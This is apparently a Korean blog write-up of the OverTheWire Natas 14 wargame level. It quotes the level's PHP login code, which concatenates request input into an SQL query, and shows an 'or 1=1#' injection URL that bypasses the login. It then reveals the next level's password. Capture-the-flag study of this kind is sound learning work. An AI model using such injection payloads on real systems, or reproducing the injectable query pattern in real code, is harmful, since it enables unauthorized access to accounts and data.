[ Natas 14 -> Natas 15 PHP Injection ( 쿼리 조건문 변조 ) ]
2017. 9. 28. 19:19ㆍWebHacking/[OverTheWire]Natas
1> 초기 페이지
2> 페이지 소스코드
3> PHP 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <? if(array_key_exists("username", $_REQUEST)) { // 사용자가 username 값을 입력했다면 $link = mysql_connect('localhost', 'natas14', '<censored>'); // natas서버에 natas14계정으로 접속한다 mysql_select_db('natas14', $link); // natas14DB에 연결한다 $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; // 쿼리문 // 쿼리문에서 $_REQUEST변수로 데이터 입력을 받기 때문에 GET방식으로 데이터를 입력할 수 있는 취약점이 있다 if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } if(mysql_num_rows(mysql_query($query, $link)) > 0) { // 쿼리문이 정상적으로 실행되면 echo "Successful login! The password for natas15 is <censored><br>"; } else { // 쿼리문 실행 X echo "Access denied!<br>"; } mysql_close($link); // DB연결 종료 } else { // 사용자가 username 값을 입력하지 않았을 때, 폼 화면이 출력된다 ?> <form action="index.php" method="POST"> Username: <input name="username"><br> Password: <input name="password"><br> <input type="submit" value="Login" /> </form> <? } ?> | cs |
4> GET방식 debug변수 이용한 쿼리문 확인
5> PHP Injection을 통해서 해당 쿼리문의 조건식을 항상 참이 되도록 하자
쿼리문 ( PHP에서는 " . " 을 이용해서 변수와 문자열을 같이 쓸 수 있다 )
"SELECT * from users where username=\"" . $_REQUEST["username"] . "\" and password=\"" . $_REQUEST["password"] . "\"";
username = eun , password = 1234
=> SELECT * FROM users WEHRE username="eun" and password="1234";
공격할 쿼리문
http://natas14.natas.labs.overthewire.org/index.php?username=eun&password=1234"%20or%201=1%23
=> "SELECT * FROM useres WHERE username="eun" and password="1234" or 1=1 # ."\";
%20 = Space bar
%23 = # ( PHP 한 줄 주석 )
GET방식의 debug 변수를 만들어 입력한 쿼리문을 확인할 수 있었고, 1=1 조건으로 인해 쿼리문이 정상 실행되었다
Natas15: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
'WebHacking > [OverTheWire]Natas' 카테고리의 다른 글
[ Natas 16 -> Natas17 `Command`,"$(Command)" ] (0) | 2017.09.28 |
---|---|
[ Natas 15 -> Natas 16 PHP Injection ( 비밀번호 유추 ) ] (0) | 2017.09.28 |
[ Natas 13 -> Natas 14 파일 시그니처 ( File Signature ) ] (0) | 2017.09.25 |
[ Natas 10 -> Natas 11 grep 다중명령어 ] (0) | 2017.09.23 |
[ Natas 9 -> Natas 10 grep 다중명령어 ] (0) | 2017.09.23 |